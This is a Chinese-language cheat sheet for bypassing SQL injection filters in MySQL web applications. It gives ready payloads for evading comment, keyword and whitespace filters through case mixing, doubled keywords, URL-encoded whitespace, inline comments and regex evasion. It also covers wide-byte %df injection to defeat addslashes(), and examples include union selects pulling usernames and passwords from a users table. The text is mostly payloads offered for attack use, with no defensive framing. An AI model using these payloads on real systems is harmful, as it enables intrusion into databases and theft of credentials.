过滤注释符
#
--
and '1'='1
;%00
过滤or、and关键字
1、如果只过滤了一次,可以采用双写嵌套绕过
2、可以用符号替换绕过:or---->||;and---->&&
过滤空格
1、可以用一下符号代替
符号 | 说明 |
---|---|
%09 | TAB 键 (水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
2、可以用两个空格代替一个空格
3、使用括号绕过
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
过滤union、select、where等关键字
1、如果没有忽略大小写,这可以通过大小写混写的方式绕过
id=-1'UnIoN/**/SeLeCT
2、嵌套双写
id=-1'UNIunionONSeLselectECT1,2,3–-
3、使用注释符绕过(//,-- , /**/, #, --+, -- -, ;,%00,--a)
U/**/ NION /**/ SE/**/ LECT /**/username,password from users
4、内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
正则表达式
/union\s+select/i
/
- 正则表达式的开始和结束分隔符
union
- 匹配字母 "union"
\s+
- 匹配一个或多个空白字符(包括空格、制表符、换行符等)
select
- 匹配字母 "select"
i
- 修饰符,表示不区分大小写
匹配“union”后面跟着一个或者多个空白字符,然后跟着“select“的字符串,并且不区分大小写
可以使用双写绕过
宽字节注入
原理:MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,因为过滤方法主要就是在敏感字符前面添加 反斜杠 \
,所以这里想办法干掉反斜杠即可。
1、%df吃掉\
具体的原因是 urlencode(\') = %5c%27
,我们在 %5c%27
前面添加 %df
,形 成 %df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c
当做是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
id=-1%df%27union select 1,user(),3--+
2、将 \ ' 中的 \ 过滤掉
如可以构造 %5c%5c%27
的情况,后面的 %5c
会被前面的 %5c
给注释掉。这也是 bypass 的一种方法。
绕过addslashes()函数
addslashes()函数返回在预定义字符之前添加反斜杠的字符串
预定义字符 | 转义后 |
---|---|
\ | \\ |
' | \' |
" | \" |
可以使用宽字节注入的方式吃掉 \